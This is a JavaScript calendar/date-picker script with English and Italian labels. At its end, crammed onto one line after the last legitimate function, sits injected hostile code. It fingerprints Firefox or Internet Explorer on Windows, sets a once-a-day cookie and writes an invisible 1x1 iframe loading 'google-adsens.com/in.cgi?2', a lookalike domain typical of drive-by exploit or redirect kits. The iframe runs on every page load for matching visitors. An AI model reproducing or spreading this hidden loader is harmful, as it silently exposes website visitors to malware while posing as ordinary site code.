// JavaScript Document

var selectedMonth = new Date().getMonth();
var selectedYear = new Date().getFullYear();
var selectedDay = new Date().getDate();


function InitCalendario ( calendarDivId, inputTextId, lang ) {
	var targetObj = document.getElementById ( inputTextId );        
	var moveObj = document.getElementById ( calendarDivId );
	
	setPos( targetObj, moveObj );
	moveObj.style.display = 'block';
	
	drawCalendario( calendarDivId, inputTextId, lang );
	setupLinks( calendarDivId, inputTextId  );
}

function drawCalendario ( calendarDivId, inputTextId, lang ) {
	var html = '';
	
	if (lang=="en") html = '<a id="closeCalender">&nbsp;Close&nbsp;</a>';
	else html = '<a id="closeCalender">&nbsp;Chiudi&nbsp;</a>';
	
	html += '<table cellpadding="0" cellspacing="0" id="linksTable"><tr>';
	
	if (lang=="en") {
		html += '	<td> <a id="prevMonth"><< Prev</a> </td>';
		html += '	<td> <a id="nextMonth">Next >></a> </td>';
	}
	else {
		html += '	<td> <a id="prevMonth"><< Prec</a> </td>';
		html += '	<td> <a id="nextMonth">Pros >></a> </td>';
	}
	
	html += '</tr></table>';
	
	html += '<table id="calendar" cellpadding="0" cellspacing="0"><tr>';
	html += '	<th colspan="7" class="calendarHeader">' + getMonthName(selectedMonth,lang) + ' ' + selectedYear + '</th>';
	html += '</tr><tr class="weekDaysTitleRow">';
	
	if (lang=="en")	var weekDays = new Array('S','M','T','W','T','F','S');
	else var weekDays = new Array('D','L','M','M','G','V','S');
        
	for ( var j=0; j<weekDays.length; j++ ) {
		html += '<td>' + weekDays[j] + '</td>';
    }
		
    var daysInMonth = getDaysInMonth( selectedYear, selectedMonth );
    var startDay = getFirstDayofMonth( selectedYear, selectedMonth );
    var numRows = 0;
    var printDate = 1;
    if (startDay != 7) {
    	numRows = Math.ceil(  ( (startDay+1) + (daysInMonth) ) / 7  ); // calculate the number of rows to generate
    }
		
    // calculate number of days before calendar starts
    if (startDay != 7) {
    	var noPrintDays = startDay + 1; 
    } else {
    	var noPrintDays = 0; // if sunday print right away	
    }
		
	var today = new Date().getDate();
	var thisMonth = new Date().getMonth();
	var thisYear = new Date().getFullYear();
		
    // create calendar rows
    for (var e=0; e<numRows; e++) {
		html += '<tr class="weekDaysRow">';
        // create calendar days
        for (var f=0; f<7; f++) {
			
			if ( (printDate == today) && ( selectedYear == thisYear ) && ( selectedMonth == thisMonth ) && ( noPrintDays == 0 )) {
					html += '<td id="today" class="weekDaysCell">';
				} else {
                	html += '<td class="weekDaysCell">';
				}
				
                if (noPrintDays == 0) {
					if (printDate <= daysInMonth) {
						html += '<a>'+printDate+'</a>';
					}
                    printDate++;
                }
                html += '</td>';
                if(noPrintDays > 0) noPrintDays--;
            }
            html += '</tr>';
	}
	html += '</table>';
		
    // add calendar to element to calendar Div
    var calendarDiv = document.getElementById( calendarDivId );
        
    //html = "<div>xxxxx<br/>xxxxx<br/>xxxxx<br/>xxxxx<br/></div>";
        
    calendarDiv.innerHTML = html;
		
	// close button link
    document.getElementById('closeCalender').onclick = function () {
    	calendarDiv.style.display = 'none';
    }
		
		
	// setup next and previous links
	document.getElementById('nextMonth').onclick = function () {
        selectedMonth++;
        if (selectedMonth > 11) {
    		selectedMonth = 0;
            selectedYear++;
        }
        drawCalendario( calendarDivId, inputTextId, lang ); 
        setupLinks( calendarDivId, inputTextId );
	}
		
	document.getElementById('prevMonth').onclick = function () {
		selectedMonth--;
		if (selectedMonth < 0) {
			selectedMonth = 11;
			selectedYear--;
		}
		drawCalendario( calendarDivId, inputTextId, lang ); 
		setupLinks( calendarDivId, inputTextId );
	}
            
} // end drawCalendar function


function setupLinks ( calendarDivId, inputTextId  ) {
	// set up link events on calendar table
	var y = document.getElementById('calendar');
	var x = y.getElementsByTagName('a');
	
	for (var i=0; i<x.length; i++) {
		x[i].onmouseover = function () {
			this.parentNode.className = 'weekDaysCellOver';
		}
		x[i].onmouseout = function () {
			this.parentNode.className = 'weekDaysCell';
		}
		x[i].onclick = function () {
			document.getElementById( calendarDivId ).style.display = 'none';
			selectedDay = this.innerHTML;
			document.getElementById( inputTextId ).value = formatDate( selectedDay, selectedMonth, selectedYear );		
		}
	}
}



/* Functions Dealing with Dates */
function formatDate(Day, Month, Year) {
    Month++; // adjust javascript month
    if (Month <10) Month = '0'+Month; // add a zero if less than 10
    if (Day < 10) Day = '0'+Day; // add a zero if less than 10
    var dateString = Day+'-'+Month+'-'+Year;
    return dateString;
}

function getMonthName(month,lang) {
    if (lang=="en")	var monthNames = new Array('January','Febraury','March','April','May','June','July','August','September','October','November','December');
    else var monthNames = new Array('Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno','Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre');
	return monthNames[month];
}

function getDayName(day) {
    var dayNames = new Array('Lunedi','Martedi','Mercoledi','Giovedi','Venerdi','Sabato','Domenica')
    return dayNames[day];
}

function getDaysInMonth(year, month) {
    return 32 - new Date(year, month, 32).getDate();
}



function getFirstDayofMonth(year, month) {
    var day;
    day = new Date(year, month, 0).getDay();
    return day;
}


/* Position Functions */
function setPos( targetObj , moveObj ) {
    var coors = findPos( targetObj );
    
    moveObj.style.position = 'absolute';
    moveObj.style.top = coors[1] + 0 + 'px'; // 3 abbasso 3px
    moveObj.style.left = coors[0] + 90 + 'px'; 
    // 35 mi sposto verso sinistra di 35px x adattarmi alla lunghezza del elemento input
}

function findPos(obj) {
    var curleft = curtop = tmp_left = tmp_top = 0;
    
    if ( obj.offsetParent ) {
    
        while ( obj.offsetParent ) {       
            curleft += obj.offsetLeft;
            tmp_left = obj.offsetLeft;
            
            curtop += obj.offsetTop;
            tmp_top = obj.offsetTop;
            
            obj = obj.offsetParent;
        }
    }
    
    //curtop = curtop - tmp_top;
    //curleft = curleft - tmp_left; //levo l'ultimo div del body
    
    return [curleft,curtop];
}

function getOBJposition( obj, dim )  {
	//var obj = document.getElementById( id );
	var top = 0 ; var left = 0 ;
	
	if ( obj != null || dim.length > 0 )  {
		dim = dim.toLowerCase();
		while( obj.tagName.length > 0 )  {
			if ( obj.tagName.toUpperCase() == "BODY" ) break ;
			if ( dim == "top" && obj.tagName != "TR" && obj.tagName != "TBODY" )  {
				top += obj.offsetTop ;
				top -= obj.clientTop ;
			}
			else if ( dim == "left" && obj.tagName != "TBODY" )  {
				left += obj.offsetLeft ;
				left -= obj.clientLeft ;
			}
			obj = obj.parentNode ;
		}
	if ( dim == "top" ) return top ;
	else if ( dim == "left" ) return left ;
	}
	else  {
		top = left = width = height = -1 ;
		return false ;
	}
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
